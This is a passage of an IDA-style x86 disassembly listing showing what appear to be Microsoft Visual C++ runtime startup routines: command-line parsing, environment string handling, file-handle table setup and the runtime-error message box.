		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C

loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------

loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi

loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax

loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C

loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387

loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0

loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0

loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C

loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB

loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------

loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------

loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi

loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1

loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx

loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410

loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D

loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------

loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]

loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]

loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------

loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi

loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------

loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0

loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F48D	proc near		; CODE XREF: ___:00419C63p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------

loc_41F4BC:				; CODE XREF: sub_41F48D+21j
		nop
		call	near ptr 25E0B91h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------

loc_41F4DB:				; CODE XREF: sub_41F48D+19j
		cmp	eax, 1
		jnz	loc_41F565

loc_41F4E4:				; CODE XREF: sub_41F48D+2Dj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6

loc_41F4F4:				; CODE XREF: sub_41F48D+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509

loc_41F4FB:				; CODE XREF: sub_41F48D+73j
					; sub_41F48D+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB

loc_41F509:				; CODE XREF: sub_41F48D+6Cj
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	[esp+18h+var_8]
		call	sub_417C3B
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41F556:				; CODE XREF: sub_41F48D+B9j
		mov	ebx, [esp+18h+var_8]

loc_41F55A:				; CODE XREF: sub_41F48D+99j
					; sub_41F48D+A8j
		push	esi
		nop
		call	near ptr 25E0E53h
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: sub_41F48D+51j
		cmp	eax, 2
		jnz	short loc_41F5B6

loc_41F56A:				; CODE XREF: sub_41F48D+49j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 25E0B91h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6

loc_41F57A:				; CODE XREF: sub_41F48D+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A

loc_41F580:				; CODE XREF: sub_41F48D+F6j
					; sub_41F48D+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580

loc_41F58A:				; CODE XREF: sub_41F48D+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------

loc_41F5A0:				; CODE XREF: sub_41F48D+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch

loc_41F5AB:				; CODE XREF: sub_41F48D+111j
		push	edi
		nop
		call	near ptr 25E0E84h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F5B6:				; CODE XREF: sub_41F48D+39j
					; sub_41F48D+61j ...
		xor	eax, eax

loc_41F5B8:				; CODE XREF: sub_41F48D+D6j
					; sub_41F48D+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41F48D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F5BF	proc near		; CODE XREF: ___:00419C53p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx

loc_41F5DF:				; CODE XREF: sub_41F5BF+16j
		mov	dword_48B340, esi
		mov	dword_48B440, 20h
		lea	eax, [esi+100h]

loc_41F5F5:				; CODE XREF: sub_41F5BF+52j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------

loc_41F613:				; CODE XREF: sub_41F5BF+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		nop
		call	near ptr 2840000h
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41F6EF
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax

loc_41F649:				; CODE XREF: sub_41F5BF+86j
		cmp	dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344

loc_41F656:				; CODE XREF: sub_41F5BF+DAj
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F674:				; CODE XREF: sub_41F5BF+CFj
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------

loc_41F690:				; CODE XREF: sub_41F5BF+B7j
		add	edi, 4
		cmp	dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------

loc_41F69D:				; CODE XREF: sub_41F5BF+A4j
		mov	esi, dword_48B440

loc_41F6A3:				; CODE XREF: sub_41F5BF+90j
					; sub_41F5BF+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF

loc_41F6A9:				; CODE XREF: sub_41F5BF+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	short loc_41F6E6

loc_41F6C8:				; CODE XREF: sub_41F5BF+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F6E6:				; CODE XREF: sub_41F5BF+EFj
					; sub_41F5BF+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9

loc_41F6EF:				; CODE XREF: sub_41F5BF+65j
					; sub_41F5BF+71j ...
		xor	ebx, ebx

loc_41F6F1:				; CODE XREF: sub_41F5BF+195j
		mov	eax, dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------

loc_41F70C:				; CODE XREF: sub_41F5BF+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F716:				; CODE XREF: sub_41F5BF+14Bj
		push	eax
		nop
		call	near ptr 25E08BEh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741

loc_41F73B:				; CODE XREF: sub_41F5BF+163j
					; sub_41F5BF+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F741:				; CODE XREF: sub_41F5BF+17Aj
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F74C:				; CODE XREF: sub_41F5BF+13Ej
		or	byte ptr [esi+4], 80h

loc_41F750:				; CODE XREF: sub_41F5BF+180j
					; sub_41F5BF+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_48B440
		call	near ptr 25E0AECh
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41F5BF	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------

loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
					; sub_419CFF+9p
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_439594, 1
		jnz	short locret_41F884

loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax

loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_419CFF+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28

loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898

loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_439594, 1
		jz	loc_41F9AF

loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h

loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------

loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 25E08BEh
		push	eax
		call	near ptr 2640000h
		nop

loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------

loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------

loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi

loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_48B320, eax

loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx

loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8

loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8

loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9

loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_48A054, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_48A0B8
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61

loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh

loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
